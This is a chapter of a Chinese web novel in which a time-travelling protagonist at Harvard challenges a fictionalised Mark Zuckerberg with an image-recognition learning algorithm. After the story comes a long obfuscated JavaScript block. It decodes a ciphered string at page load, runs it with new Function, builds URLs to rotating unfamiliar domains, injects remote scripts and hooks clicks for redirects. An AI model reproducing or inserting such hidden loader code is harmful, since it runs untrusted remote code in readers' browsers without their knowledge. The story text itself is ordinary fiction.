第98章 努力算我输(1 / 1)

文娱救世主 浙东匹夫 1739 字 2022-04-22

介绍完顾诚认识,大部分同学都散了,毕竟这种事情在哈佛早已司空见惯。 顾诚也没有傻到一来就给所有同学送见面礼或者请客出去嗨,那种行径对于搞好人际关系没有丝毫帮助,反而会让自命清高的人更加反感顾诚,把他当成喽逼的暴发户。 他只需要和那几个主动有意和他搞好关系的人意思一下就行了。 比如爱德华.萨维林。 他摆出一副礼贤下士的样子,等大伙儿都闪人之后,扯过一张椅子,在那几个主动和他搭讪的人聊一会儿。 “爱德华,我们走吧。”痘痘男把嘴里的棒糖往一边腮帮子里一塞,嗡声嗡气地想把好基友拉走。 “嘿,马克你别这样。”萨维林耸耸肩,试图安抚痘痘男,一边对顾诚说和,“马克.扎克伯格,我室友,别看他说话冲,搞技术还是不错的。” 顾诚摆出一个玩味的表情,傲然笑道:“看来这位同学,对长得帅的人士有很深的成见。” 扎克伯格不善社交,神经质地直来直去:“谈不上!我只跟靠自己真本事的人结交。不像某些连代码都不写就混进计算机系的家伙。” “是么,那这样吧,有MSN么,我发个文件给你挑战一下。不敢的话就直接认输也行。”顾诚想了想,发出了一个合适的挑战。 “有什么不敢!”扎克伯格立刻报了一串ID,然后掏出笔记本准备用Wlan网络收邮件。 顾诚也拿出自己的电脑,问了萨维林这儿的Wlan账号密码,然后登陆上去,用MSN加了对方。 “Shit!MSN传文件真是垃圾,居然收不了那么大的附件。你还是下载个YY吧。”顾诚发现03年的MSN实在是太渣了,竟然还做不到YY可以做到的功能。 而顾诚的YY是有英文版的,而且并不需要和另一个时空的QQ那样搞专门的“国际版”——QQ的国际版和普通版区别只是国际版少整合了很多广告插件和卖**件,功能是完全一样的。相当于让洋大人们用可以不用看广告的版本,而让华夏人多看点广告。 顾诚的YY目前还在打市场的阶段,根本就没有植入任何广告插件,所以只要翻一个英文语言包就可以直接给外国人用了。YY的官方网站上也有这种版本供下载,并且在香江架设了服务器,好让外国人下的时候网速快一点,便于打开海外市场。 “别整这么多虚的,可以用局域网共享。”扎克伯格冷笑地看着顾诚,似乎还在嘲讽他连Windows系统自带的系统功能都不了解。 “相信我,装个YY比你拿U盘拷贝还方便。”顾诚不为所动。 可惜大家手边并没有带U盘 扎克伯格捏着鼻子下了YY,注册了一个账号,然后重新加了顾诚。 他并没有想到,从这一天之后,他用MSN的次数就越来越少了。到大二学年开学的时候,计算机系的人个个都有YY了。 顾诚把两个压缩包发给对方,然后用魔术师一样的语气说:“第一个压缩包,没有解压密码,你可以直接点开,里面是一个小程序的功能要求。你有一周的时间考验一下自己,看看能不能在解决这个小程序。 第二个压缩包,需要密码才能解压,目前你解压不了,也别试图暴力破解,一周之后我自然会告诉你密码,里面是我设想的技术路线和拓扑结构。到时候,你可以比比你写的代码思想是否有我设想的那么简洁、实现功能的算法效率有没有我高——爱德华,或者别的什么人,都可以作为裁判,如果到时候你觉得光靠你自己的良心无法分出胜负的话。” “我怎么知道这里面的内容是不是一周之内可以完成的工作量。”扎克伯格只是技术宅,但并不傻,自然不会轻易被顾诚当廉价劳动力忽悠。 “我们现在就可以看一下技术要求,大家一起评判一番,这儿的人都是懂行的——一个星期之后,你做得比我设想的好,就算我输。我马上退学,而且花100万美金买下你的代码。” “那你要我也跟你赌退学?这事儿没有合理的借口我可无权决定。”扎克伯格想了想,终于略微有些犹豫。 “你跟我赌退学有什么意义,你退学了我一点好处都没有。”顾诚哑然失笑,对扎克伯格的意气用事很是不屑,“你输了就来给我打工好了,白干一个暑假就行。” 扎克伯格还没回答,爱德华.萨维林已经在一旁起哄了:“哇喔哦,没想到马克你这种愣头愣脑的家伙,时间比我还值钱了,一个暑假白工就能抵100万美元赌注——我那么好的头脑,一个暑假也才赚30万美元呢!” 萨维林这句话只是半开玩笑的,但他这么一挤兑,无形之中堵死了扎克伯格不应战的退路。扎克伯格一咬牙:“那就先看看这段代码是干嘛的。” 反正教室里其他人都已经散了,几个人就把桌子拉拢评估起来。 “嗯哼?这是一个用来自动识别图片内容的工具么?不对,这又像是一个评判图片识别结果是否正确的工具。这算什么意思?对就是对,错就是错,让机器评判机器的准确率,毫无意义的事情……不过第三阶段倒是加入了人工反馈的数据标示,好像是贝叶斯预测模型……有点儿意思……” 扎克伯格一开始很轻蔑,觉得这只是个无意义的智力挑战题,并没有任何实际应用意义,还以为是顾诚揣在电脑里专门用来挑战刁难人的。 然而看了仅仅不到五分钟,他的神色就凝重了起来,精力也越来越专注。看到十五分钟之后,额头已经微微渗出一些汗珠。 他试探着问顾诚确认:“要判断的图片对错标准是什么?你貌似没有要求?选什么都可以么?最终的评判标准,是看谁写出来的算法最终的识别准确率高么?” 顾诚淡定地确认:“识别标的随便选,你可以选择‘识别图上的是不是一张人脸’或者‘图上是不是一只猫’,都行。” 扎克伯格并没有马上接话茬儿。他想得更加深入了,这次足足花了半个小时推敲,期间还噼里啪啦敲了很多东西,谷歌了很多专业资料,然后才慎重地说: “恕我直言,如果你设想的技术路径是正确的,而且想要做到的目标确实是‘判断图像内容是否属于某一类’的话,那么最终的判断准确率只怕不是算法的优劣就能决定的。这个识别率的高低,还和算法执行的次数和答案标识的反馈次数有关。 所以你这道题目本身就是错的,根本看不出你我谁强谁弱!就算我的算法比你预想的写得好,但是标识反馈次数如果比你预设的算法少好几倍的话,依然有可能落败!所以你这场比试根本就不公平!” 扎克伯格说完这句话,傲然地看着顾诚,似乎在为自己戳穿了顾诚的阴谋而沾沾自喜。 “啪帕啪~”顾诚象征性的鼓了几下掌。 不愧是扎克伯格,看来这个技术宅果然大一就已经是妖孽了。 这个世上,当真有不穿越不重生也生而知之者的人。 竟然在地球上还没有深度学习和卷积神经网络这些概念的时代,就从顾诚的算法套路里看出了背后的思想神髓。 顾诚提供给扎克伯格的这套题目,当然是近期他准备要拿来用的——在米国这边的事儿了断之后,他就准备把林志凌喊来,然后一起回一趟林志凌的母校多伦多大学,寻访一下多伦多大学的神级教授杰夫.辛顿。这段代码,本来是为了跟杰夫辛顿聊挖角的时候,增加顾诚筹码用的。此刻遇到了扎克伯格,才顺手拿来钓鱼。 顾诚从40年后穿越回来,作为一名后世的数据总监。来到这个世界之后,可以说他还没有亲手完整地写过任何一个小程序的代码。 因为他对于这个时代的玩意儿不熟。 但是,今天顾诚交给扎克伯格这道题目,绝对是他来到这个时空之后第一道100%自己设计的。因为这道题目背后蕴含的思想,正是此后30多年人类人工智能的渊薮,深度学习和卷积神经网络的最原初萌芽思想。 此后三十年的云计算,大数据,深度学习人工智能,都是从这里衍生而来的。 扎克伯格竟然在一个小时之内看懂了这段算法思想的应用背后那“进化”二字,就绝不简单。 毕竟,在平行时空,在2006年以前,没有一个程序员,一个计算机教授,或者一个算法专家,能够想通“可以让程序效率自我进化的算法”的存在。 扎克伯格敢相信“进化”的存在,已经是破天荒的接受能力了。 当然,顾诚也不怕这里面存在什么泄密问题。因为在另一个时空,深度学习算法和卷积神经网络思想出现之后,最初因为被训练的程度不够深入,所以在两年之内都没有被人重视。所以就算扎克伯格今天被启发了,一两年内也不至于有能力“借鉴”顾诚的想法去做什么事情。而顾诚自然有把握在一两年内把这些不稳定因素统统搞定。 顾诚想了那么多,一副愣愣出神的表情,扎克伯格还以为是自己戳穿了他的把戏之后无言以对。于是扎克伯格继续挑衅顾诚: “嘿!你还不承认这场比试不公平么?我从未见过有如此厚颜无耻之人!” “哦?你在问我?我以为你刚才只是自言自语呢。”顾诚终于从沉思中被唤醒,恬淡地一笑,“我设计的比试,当然很公平——因为我没说过要比‘识别的准确率’,我们比的,是‘基于你我不同拓扑思想算法做出的两个程序,在从原始状态开始,经过1000张图片的训练之后,谁的进步速度更快,以及谁的验证算法更严密’,这种比试内容,跟起步高低有关系么?” “还能这么比?”扎克伯格瞠目结舌,压根没想到还有这样的可能性。 似乎情况变得越来越有趣了。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();